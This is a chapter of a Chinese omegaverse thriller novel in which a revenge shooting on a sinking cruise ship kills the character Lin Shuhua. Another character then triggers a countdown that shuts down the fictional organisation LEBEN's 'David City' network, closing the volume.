“那是我自己选的,”在尖锐刺耳的警笛声中,赵洋脸色苍白地辩解道,“考警察也是——” “我已经明白了,"林殊华打断了他,他眼中满是漠然,戏谑般冷冷道:“你心里不就是这样想的吗?徐长嬴永远是坦荡无暇的优性alpha,他做什么都是对的,我就是上不得台面的冒牌货。”赵洋的眼睛瞬间睁大了,下一瞬,他狠狠拽住林殊华的领带,恼怒道:“你他妈的在胡说八道什么?我从来没有这么想过!你为什么非要和他比?” “不是我要和他比,是这个世界本来就是这样,”林殊华居高临下地望着他,眼中满是恨意: “我从生下来就没有的选,如果可以我也想和你一样是个普通alpha,就这样没什么烦恼地遵循固有社会规则活下去就行了——” “所以你他妈的是个混蛋!”赵洋简直气得发抖,他几乎被林殊华眼中的恶意和厌恶伤得不敢抬头,而也正是在这时,在强光中的停机坪里,那名心腹终于从直升机中跳了下来。那个亚裔心腹应该不是中国人,他对林殊华用英文道了一句“第二架可以起飞”,随即就掏出枪指着穿着黑色作战服的警察,脸上写满了警惕。 “你不能走!”赵洋见状立刻收紧了手中的力气,并用另一只手抓住了林殊华的肩膀,他哑声道:“我不会让你一错再错下去——劳伦斯说的你忘了吗?你根本入不了境就会被逮捕了。” “你以为你是谁?”林殊华冷冷地看着赵洋,下一秒,冰冷的枪口就抵住了赵洋的下巴,“你以为我不敢杀你?” 赵洋心里寒意蔓延,但他却还是死死瞪着眼前的林殊华,低吼道:“有种你就开枪,我绝不会放你走!” “放开!”林殊华怒了,他见赵洋依旧不放手,便直接解开领带,然而下一秒却被警察出身的赵洋擒住了左手。 见状,一旁的黑西装心腹立刻上前要用枪托砸开赵洋,但林殊华却猛地扭过头对他用英文吼了一句:"Fire up the engine!" 赵洋眼见那个雇佣兵朝着飞机走去就要去启动引擎,对着林殊华着急道:“你再逃下去没有意义!” 林殊华目光森寒道:“我根本没有第二条退路。” 赵洋闻言眼中终于蒙上了绝望之意,他明白他根本阻止不了林殊华,因为他从来就阻止不了任何人,徐长嬴、夏青——他生命中最重要的所有人的命运他都没有办改写。 “放开我!”林殊华用力地将左手一点点收回,望着赵洋的漆黑眼睛宛若一潭深水,他愤恨道:“你就是一个彻头彻尾的蠢货,你什么都不懂——” “砰!” 林殊华的话音未落,一声枪响骤然在尖锐的警报声中响起—— 赵洋的瞳孔瞬间紧缩,他清晰地看见血花在强光中的停机坪里炸开,“轰”的一声,正要爬上直升机的黑西装打手重重向后栽倒在地面上。 甲板上有人! 也正是在这一瞬,林殊华的反应比目睹枪击过程的赵洋更快,他下意识将赵洋推向身后,迅速抽出拿着枪的右手就要指向黑暗里,然而他的动作还是慢了一瞬,“砰”的一声,子弹贯穿了他的上臂,林殊华闷哼一声枪就掉落在了地面上。 赵洋迅速扶住林殊华,下意识就要去拿那掉在血泊中的手枪,然而就在这时,黑暗中响起了脚步声。 赵洋动作僵在原地,只能一脸仓皇地抬起脸,眼中满是惊恐地看着正前方一步步朝他们走过来的人。 是谁?赵洋手心里很快就被林殊华温热的鲜血润湿了,他颤抖地扶着林殊华,心中乱成了一团乱麻—是AGB的人?不,不可能,他们不会直接开枪。 是基路伯的人?他们还有人留在13层甲板?可是为什么只有一个人? “哒。” 皮鞋敲击甲板地板的声音在黑暗中一声声响起,一个人影从停机坪的角落里缓缓走出,当迈过一个倒在血泊中的尸体,边界灯的光线先是照亮了一只紧握着手枪的手臂,紧接着就照亮了来者的面孔。当看到这个人的脸的一瞬间,赵洋和林殊华的脸上都迸发出了难以言喻的震惊和不可思议,赵洋只觉得脑子一片空白,但下一瞬他就想到了什么,一股可怕的、惊悚的绝望就涌上了他的心头。“你不该用你的直升机带我来这个游轮。” 一个没有感情的,说着中文的男人声音在机械女音的弃船播报声中响起。 “不然我就没有能力再回到这个停机坪,也不会等到你。” 话音落下,来者已经彻底站在了光线之中,赵洋望着那张轮廓冷硬的熟悉脸庞,不可置信道:“你怎么会在这里?” “旭隐?” 两个多星期未见的男人瘦削了许多,李旭隐依旧穿着一身墨黑的衬衫,手里握着手枪,面 无表情地站在海风里,整个人宛若甲板上的一道暗影,闻言抬起头看向满眼惊异的林殊华,平静道:“游轮突然断电了,AGB也涌了进来,所以我就在猜你应该还在船上。” 直到此刻,赵洋才后知后觉地想起了李旭隐在乌斯怀亚失踪的事情,但他完全没有想到这个人居然真的是被林殊华亲自带上的游轮,并且能在这种情况下相见。 鲜血顺着林殊华的手臂滴商答答地掉落在停机坪上,汇聚成了这个血腥甲板上最不起眼的一幕,林殊华脸色苍白,却望着李旭隐轻笑道:“这是我的失误,等很久了?” “不久,”李旭隐举着枪,明明脸上没有什么表情,但浑身却散发着浓厚的戾气,他又向着光中走了两步,漠然道:“十分钟前才出现一拨人将停机坪上的人清理干净,我是那时候到的。” “那这一切真是太巧了,”林殊华眼睛漆黑如夜,他缓缓叹道:“早知道我不该心软留你一命的。” “林殊华!”赵洋脸色煞白地慌忙喝道。 李旭隐死死盯着面前的提比略道:“你只是太自大了,我和你说过,我一定会亲手杀了你。” 因为疼痛,林殊华的额头上冒出了冷汗,但他还是冷冷地看向眼前的男人哑声道:“我记得和你说过,李嘉玉的死和我没有关系,我以为你会想通。” “我也记得。”说话间,李旭隐已经站在了停机坪的强光圈内,空气中回荡着刺耳的警报声,还有甲板上的重物因为船体倾斜斜发出了咯吱摩擦声,他的枪口也终于对准了林殊华的胸口。李旭隐的眼神宛若在看一个死人,语气冰冷道:“但是你是导致这一切的源头,如果没有你的助推,他根本就不可能加入LEBEN。” “不要,旭隐!” 望着李旭隐即将扣动扳机的手,赵洋的心脏猛地生出了一股剧烈的抽痛,他艰难扶着中枪的林殊华,一脸仓皇地看着面前熟悉的脸,语无伦次道:“旭隐你千万不要冲动!你不知道——这一切都结束了,林殊华他会受到法律的制裁,真的!我保证!我明白你的心情!但是你千万不要把自己的一辈子也毁了!” “你明白?” 李旭隐语气漠然地重复道,似乎真的在考虑赵洋说的话,然而就在下一秒,他却缓缓地摇了摇头,道:“不,你不明白。” 李旭隐盯着林殊华的脸,一字一句道:“我真的把你当成值得敬佩和信任的师长,兄长,好友,李嘉 玉他也是一样,他甚至到死的时候都没有怨你,所以从始至终都没有把你供给我,因为他知道我会杀了你。” 听到这个回答,赵洋满手都是林殊华的温热血液,但心脏却如坠冰窖。 林殊华抬起他那张凉薄的脸,望着李旭隐指着自己的枪口,寒声道:“不管你信或不信,我没想过害死他,当时也是他为了你来求我,我才让他加入LEBEN。”“对,是那个蠢货自己求你,”李旭隐点了点头,随即又低声喝道:“但你不就是看中这点吗!为了让他做你一个可有可无的线人,你就将他引入了LEBEN,还用glory封住了他的口?”林殊华皱眉愠怒道:“让他染上glory的不是我——” “我知道不是你!”李旭隐怒声道,“什么都不是你做的,但一切都有利于你,这就是你的手段,你只用站在局外看着李畑越让他染上glory,看着李家人买通狱警弄死他,然后到头来什么都不是你做的,对吗!” 说到最后,李旭隐的声音冷得如同结冰,仍是甲板上的狂风也无法吹散其中的恨意,林殊华脸色也变了,只能捂住伤口哑口无言地看着对方将枪口对准他的眉心。 而在这时,赵洋颤抖的声音却在尖锐的警笛声中响起了,他扶着林殊华近乎哀求地看着李旭隐道:“我明白!我真的明白的,但是旭隐!你看在他之前没有杀你的份上,把他交给公安,交给法官好不好!不要这样,不要…….” “你不明白!” 李旭隐整个人都站在白光之中,因此赵洋能够清晰看到他木然的脸庞上那双如同深渊的眼睛中涌动着仇恨的火焰,那道火焰是那样的灼热汹涌,以至于赵洋几乎不敢与其对视。 "2个小时,”李旭隐攥紧了手中的枪,双目赤红地咬牙切齿道:“那个蠢货拿着把破塑料叉磨了整整2小时才把手腕磨开,又因为害怕查房前死不了,所以就用牙把伤口重新撕开,直到站在停尸房里了我都不敢相信李嘉玉他居然这么有种。” 甲板的倾斜角度在不知不觉间已经到了肉眼可察觉的程度,整艘巨轮的船体发出的恐怖吱呀声回荡在耳边,站在停机坪上的赵洋张了张口想要说什么,但却发现所有话语都变得无比苍白无力,再也说不下去。“你说你明白,你们怎么会明白我怎么想?” “我要是早知道这个胆小鬼是这种死法,”探照强光中,眼泪顺着李旭隐硬朗的脸庞缓缓滑落,他盯着赵洋声音嘶哑地沉声道:“我就应该在他被警方抓走前亲手掐死他。” 赵洋浑身克制不住地颤抖了起来,他无措地看了看脸色惨白的林殊华,又看向被仇恨包裹着的李旭隐,颤声道:“不要,旭隐,对不起……” 赵洋在这一刻甚至不知道自己在说什么,他只觉得胸腔几乎要被痛苦和恐惧撕裂了,他什么都不明白,他不明白这一切究竟为什么会变成现在这样,他想到了同样痛苦流泪的徐长嬴,他想到了不知道为什么变了一个人的夏青,他想到了很久之前就死掉的叶新和赵修奕。 所有的痛苦就这样在赵洋看着漆黑枪口的这一刻爆发了,以至于等到他反应过来后,他才意识到李旭隐正定定地望着自己,似乎是想到了什么,又生生止住了开枪的动作。李旭隐道:“你为什么哭?” 赵洋怔住了,他缓缓伸出空着的左手摸了摸脸颊,摸到了一手的冰冷潮湿,才意识到自己正在流泪,一旁的林殊华闻言也脸色苍白地抬起头看向他,眼中染上了一抹惊异和不解。 下一秒,李旭隐没有情绪的声音又冷冷响起:“你刚刚还恨他入骨,但你现在又为什么哭呢?” 话音落下,还未反应过来的赵洋看见紧紧盯着自己的林殊华僵住了,下一瞬,后者那因为疼痛而没有血色的脸庞就浮现出了一抹鲜亮的、不可置信的神情。 赵洋望着林殊华那双泛红的眼睛,下意识哑声道:“我——” 然而,也正是在林殊华那双冷淡灰败的眸子涌出灼热的光亮的这一刻,一旁的李旭隐面无表情地对林殊华点了点头,淡声道:“对,你现在就明白我的感受了。”说完,他就扣动了手中的扳机。 “砰。” 枪声回荡在空旷的停机坪上,子弹瞬间贯穿了林殊华的胸口,血花瞬间溅在了赵洋的脸上。 赵洋的眼睛瞬间睁大,他大脑一片空白,只觉得怀中的人突然变得很重,他只能不受控制地搂着林殊华滑坐在甲板上。 现实的死亡来得是那么的快,根本容不下人说出哪怕一句完整临终的话语,强光中,赵洋只看见林殊华溢满泪水的眼睛死死盯着自己,满是鲜血的手不知哪来的力气死死揪住了自己的战术马甲,挣扎着想要伸出手去摸他的脸颊。 “我,没有,”在赵洋颤抖着用手想要按住他胸口涓涓涌出鲜血的伤口时,林殊华口中只来得及说出这几个支离破碎的字眼。 没有,没有什么? 赵洋没有等到下文,也永远等不到下文,他看见林殊华眼角的眼泪滑下来了,眼中的光亮也熄灭了。 可胸膛和他手中的血还是热的。 我知道他罪大恶极,我知道他罪有应得。 我知道的,赵洋坐在血泊中,手紧紧按在林殊华不在跳动的心脏上,茫然地想到,但是他不能死。 他比任何人都知道。 人一旦死了就回不来了。 "Drop your weapon——" “赵洋!” 不知过了过久,也许是三十秒,也许是三分钟,听到枪声而拼命赶过来的蔡司和范伦丁站在舱门口望着眼前的一幕愣住了。 “啪。”李旭隐一脸漠然地将手中的枪扔在了甲板上。 站在暗处的蔡司望着白光下的停机坪,缓缓地一步步走了过去,最终走到了宛若舞台中央的血泊前,闭了闭眼。 一旁的范伦丁脸上也露出了不可思议的表情,但还是蹲下查看了一下赵洋怀里的人,随即,他后退一步,最后按住耳麦低声用英语道了一句: “Tiberius,confirmed dead.” 提比略,确认死亡。 话音落下,赵洋的眼睫不受控制地颤抖起来,他不知为何终于想起了一切都没开始的故事开头。 2004年,10月,广州。 “把课本抱好吧。” 教导处的老师弯腰在地上找到了最后一本地理课本,将其“啪”的一声放在赵洋怀里的一摞书上,拍了拍手,“现在是大课间,你们班主任不在,我带你去A班。”“咚咚,”门突然被敲响了,力道恰到好处,清脆有力。 “请进。” “啊,是你啊。” 赵洋低着头站在办公桌前,听着被中途打断的老师与那个学生有来有往的交谈,手中的书也越来越沉,心中不免有些烦躁,正当他想将书的另一半不动声色搁在桌面上借力之时,那个老师的声音突然提高了一度。 “对了,殊华,你帮我把这个新同学带到初一A班吧,我这边给你处理这个表。” “好的。” 那一道温和的声音落下,赵洋怀里的重量突然减了一半———双修长白皙的手将他手里的书堆抱走了一半。 赵洋下意识抬起眼,对上了一双极为清亮、好看的眼睛。 教导老师站在一旁笑眯眯道:“赵同学,这是你们二年级的林殊华学长,初中部学生会主席,也是A班的,让他带你去班级吧。”夏日的长廊里闷热的没有一丝风,刺眼的阳光将长廊阴影之外的水泥地面烤成了融融的白色,赵洋慢身边的男生一步,就这样沉默地看着这人挺拔的背影和白皙的耳廓。长廊很安静,而且总感觉怎么都走不完,直到不知多久后,远处的操场的一声哨声悠悠传来,打破了沉闷的气氛。 “赵同学,你为什么不说话?在想什么?” 突然,那人头也不回地开口问道。 “我,”正一直盯着这个学长后背的赵洋被问得猝不及防,脸上烧起了一阵热度,道:“我觉得这个学校还可以。” 一个极其无聊和愚蠢的回答,赵洋说出口后都有点汗颜,但是走在他前方的男生却扭过头看向他,认真道:“为什么会觉得还可以?” 赵洋望着那张清俊的脸庞,张了张口,低声道:“因为我还是第一次见beta可以当学生会主席的学校。” 那个学长闻言怔住了,而话说出口后,赵洋才觉得自己的话太过唐突,正要慌忙解释时,对方却突然笑了起来。 林殊华当时并没有解释,或者来不及解释,因为正当赵洋局促地站在原地,望着他脸庞上盈盈的笑意之时,长廊上终于涌入了一群学生,并且伴随而来的是嘈杂的、汹涌的信息素。“殊华学长好。”“林殊华学长,你怎么在这?” 每一个学生都热情地和这个“beta”学生会主席打招呼,他们似乎是要去上体育课的班级,直到林殊华开口这是你们班新的同学,站在身后的赵洋才知道这原来就是他要去的一年级A班。“我带你去吧。” 一个轻快的,洒脱的声音响起,赵洋抬起眼,看见了一个信息素等级极高的男生。 长廊里,徐长嬴接过了林殊华手中的书,扭过头笑着看了一眼赵洋。 赵洋立刻下意识上前,进入了晚香玉气息的信息素场中,背着书包和这个帅气的alpha并排走进了烈日之中。 “我叫徐长嬴,同学你叫什么?” 男生蔫蔫的声音传过来:“赵洋。” 站在长廊的林殊华扭过头,静静地看着远处的两个身影,他就这样看了一会儿,然后也转身离开了。 刺耳的警笛声还回荡在海风中,甲板倾斜的角度也越来越大,范伦丁望着僵坐在停机坪的赵洋,犹豫了一下,还是用不熟练的中文低声道:“我们走吧,没有时间了。”赵洋却依旧呆呆地低头看着已经没有呼吸的林殊华,正当范伦丁要再叫一次时,一只手按住了他的肩膀,北美专员抬起头,看见了自己的长官对他摇了摇头。蔡司踩在血泊之中,按着耳麦平静地用中文道了一句:“重复一遍。” 紧接着,蔡司就将自己的耳麦摘下,弯腰戴在了赵洋的耳朵上。 “长官,”赵洋听见频道另一端的一个专员顿了一下,接着就在滋啦的电流声中用中文汇报道:“我们在第六层甲板上发现了失踪的C队队员,全员都在——还有失踪的实验儿童也都在那里。”终于,赵洋的眼睛眨了眨,他缓缓抬起头,看向了矗立在强光和海风中的蔡司。 蔡司冲他点了点头,轻声道:“我们该走了。” 突然,甲板上的风更大了一些,几人的头顶上方传来了直升机的轰鸣声,范伦丁下意识抬起头,待看清那直升机的型号后,立刻睁大了眼睛,“是PNA到了!”赵洋又开口道:“徐长嬴呢?” 军用直升机的探照灯直直扫射着交火过的甲板,蔡司站在强光里,并没有回答。 UTC-3时区的19点45分。 顶层甲板,海景会客厅。 积水在走廊处继续蔓延,但水位降了许多,只是堪堪漫过脚面,由于走廊中的应急灯光熄灭了一盏,所以会客厅里的光线更暗了一半。徐长嬴一步步踩进冷水里,鼻腔中全是血腥味和海水的咸涩味道,周遭突然安静的可怕,他就这样缓缓走进了一片狼藉的会客厅。会客厅和一小时前几乎是翻天覆地的区别,在朦胧昏暗的光线中,被子弹打得粉碎的家具和吊灯都泡在水中,再也看不出原本豪华奢侈的模样。巨大的空间里除了警笛声什么动静也没有,除了匍匐在黑暗中的尸体,基路伯的佣兵和AGB专员全都不见了,冷冽的海风从落地窗原本的位置灌进了整个舱室里,增添了最后的衰败气息。但还有一个人在。 那个人静静坐在空无一物的落地窗前,准确来说,是坐在徐长嬴受刑的铁质椅子上。 徐长赢怔怔地看着那个熟悉的几乎要刻进他身体里的背影,看着那人有些疲惫地靠在椅背上,看着战术马甲下被鲜血染透的衬衫,脚步不自觉地停滞下来了。也正是这一停,徐长赢察觉到脚下有什么,他低头看去,发现是泡在水中的卫星手机,此刻屏幕仍然亮着幽幽的光,上面清晰地显示着倒计时的数字和字母。 00:14:23 00:14:22 电子屏幕上的数字犹如时钟的指针一格格的跳动着,昭示着故事的结局即将到来。 "You''re back." 你回来了。 空旷寂静的房间里,一个没有任何情绪的声音轻轻响起。 徐长嬴站直了身体,只觉得心脏几乎已经痛得麻木,海风灌满了他的衬衫,带走了他所剩无几的体温,但他还是勉强你笑了笑,用英文道:“对,你在等我?”“基路伯说你一定会回来。” “弥赛亚”无力地靠在椅背上,在黯淡的光线中转过头,露出了那张好看但苍白的脸庞,道:“在预测你的事情上,他总是会比我更加准确。” 徐长嬴趟着水走上前,他的身上受的伤其实也好不到哪里,所以他左看右看找不到可以坐的地方后,就缓缓蹲了下来,仰着头看着“弥赛亚”,道:“你为什么不离开?” “弥赛亚”道:“你忘了吗?我也是属于游戏的一部分。” 徐长嬴笑了:“还是最重要的一部分。” “弥赛亚”坦诚地点头道:“是的。” 但是说完后,“弥赛亚”却低头盯着徐长嬴的脸不说话了。 徐长嬴道:“你在看什么?” “弥赛亚”道:“其实我比夏青更早认识你,但我还是输给他了。” 徐长嬴怔住了,足足一秒,他才问道:“为什么?” “夏高寒的办公桌上有一张你和你父母的照片,"“弥赛亚”望着徐长嬴道,“所以我从很早之前就知道你的存在,但夏青却不知道,因为他出现的时候,夏高寒会将照片收起来。”“照片?” 徐长嬴的血液好似凝固住了,在这一时刻,他突然察觉到了某个尘封在岁月里的秘密即将被揭晓,于是他张了张口,哑声问道:“为什么夏青出现时,照片要收起来?” “因为他能够理解感情,但我却不能。所以就算我能够预测大多数人的感情和思想,但在某些最幽微和复杂的情感上,我总是会错,夏青就不会。” 昏暗冰冷的房间里,“弥赛亚”靠在椅背上,面色苍白道:“比如,在17年前我就不理解为什么基路伯要瞒着夏高寒你父亲的真正死因。因为在我看来,无论是溺亡还是被虐杀,都是指向同一个既定事实——但结果他却是对的,夏高寒看到录像之后果然自杀了,彻底打乱了整盘计划,也导致了你被卷入其中。" 徐长嬴怔怔地重复道:“夏高寒不知道我父亲的真正死因?” “弥赛亚”道:“你父亲的死是一场意外,当年南欧的那几支民间武装是由LEBEN的长老会手下所控制的,并不在emperor的手中,所以他与AGB一样是在次年2月才得知他被斩首的消息。然后,就像基路伯担心的那样——他在最胜券在握的时候放弃了已经搭建的一切,直接在我面前自杀了。” 话音落下,破败的舱室里再度传来船体震动的可怖闷响,两个靠近的人也在这一刻不受控制地跟着摇晃了一会,但也正是在这一刻,徐长嬴心中的某一个坚信不疑的某个事物也被彻底颠覆了。于是,徐长嬴就这样蹲在即将倾覆的游轮之上,抬起头望着那双绝对残忍冷漠的眼睛,终于问出了最重要的那个问题: “所以夏高寒当年的真正目的是什么?” “我不知道。” “弥赛亚”一脸漠然道:“人一旦死亡,就没有人可以对他未做出事情进行注解,任何人都是这样。” “那基路伯呢?”徐长嬴浑身都颤抖了起来,他追问道:“为什么基路伯会愿意眼睁睁看着你毁掉LEBEN?” “这不是很显然吗?”“弥赛亚”歪了歪头,“当然是因为这本来就是他的最终目的。” 徐长嬴不可置信道:“这怎么可能?他做了这么多—” 在刺耳的警笛声,徐长嬴的脑海里突然冒出了一个最不可能的可能,他缓缓睁大了眼睛,看着“弥赛亚”望着他笑了起来:“原来你其实并没有那么聪明。” “这是一个漫长的,贯穿了很多人生命的计划,我当然也是其中一个。” “当emperor发现我的存在之后,他就引导我LEBEN只是一场游戏,弥赛亚’只是游戏的角色,我负责让这个游戏变得更加有趣——在游戏结束之前,我要尽可能地诱惑这个世界上掌握着最多权力和最多财富的那群人。” “直到LEBEN膨胀成这个世界上再也无法被取代的组织,它的毁灭才会具有不可复制性——这也就是基路伯真正的目的。” “至于你和夏青的存在,则是为了推进LEBEN这场游戏进入结算的阶段——难道你刚刚并没有看出来?” 徐长嬴浑身冰冷地蹲在水里,此时此刻,直升机的轰鸣声也已经出现在他们的上空,时不时扫射过舱室的探照灯光也照亮了“弥赛亚”那张潜藏着疯狂的平静脸庞。“所以,“徐长赢颤声道:“他们为了毁掉LEBEN搭建了大卫城?为了毁掉LEBEN创立了第二代伊甸园—这中间究竟牺牲了多少人劳伦斯自己能记得清吗?”“因为你与他的目的不同。” “弥赛亚”伸出手轻轻遮住了窗外刺眼的探照灯光,强光也照亮了他满手的鲜血,他不以为意道:“基路伯的目的是彻底毁掉伊甸园,但如果三十年前他就毁了LEBEN,那么不出三年,这个世界上就会出现第二个、第三个,无数个大大小小的LEBEN。” “那你呢?”徐长嬴低声道:“你也是为了达成他的目的而牺牲的棋子吗?” “我的存在与道德没有任何关系,”“弥赛亚”低头看着beta,平静道:“甚至可以说,基路伯一直为了满足我而用尽全力搭建起这场游戏,所以此刻的我也只是在完成这个角色最后的阶段。”“浮士德,你呢?” “弥赛亚”重复了徐长嬴的问题:“你又是为什么在这里?” 在直升机的轰鸣声中,徐长嬴并没有回答他,但是“弥赛亚”却已经猜到了答案: “你舍不得夏青,想要和他在一起,对吗?” 徐长嬴轻声道:“你这不是能够理解人类的感情吗?” “弥赛亚”道:“但我以为你在权衡利弊后不会选择这个选项—像基路伯一样,将所有的罪责推到他的身上才是最优解。” “我不会这么做,”徐长嬴一字一句道,“我也不会让其他人对他这么做。” “弥赛亚”闻言,只是无动于衷地看着beta道:“你做不到。” 然而徐长嬴并没有回答他,而是缓缓站了起来。 昏暗开阔的舱室里充斥着刺耳的警笛声,外界的直升机轰鸣声也越来越近,探照灯的强光打在徐长嬴的身上宛若锋利的剪影,“弥赛亚”缓缓仰着头,先是听见青年自言自语般道了一句,“真的和世界末日一样”。 下一秒,“弥赛亚”就看见了徐长嬴那双宛若燃烧的眸子和右手中紧攥的卫星手机。 00:10:23 冷冽的海风吹动了beta的衬衫下摆,在船体倾覆前夕的恐怖吱呀声中,他对着怔住的“弥赛亚”坚定地淡声道: “我不会让他一个人下地狱。” 话音落下,徐长嬴就按下了那18个烂熟于心的数字,解锁了手机,选择了立即执行的选项。 00:00:00 南太平洋,11月23日,UTC-3时区的19点50分。 遍布在世界每一个时区,每一个网络端口,每一个移动设备的“大卫城”永久关闭。 "LEBEN"正式覆灭- 上帝的约柜卷,完。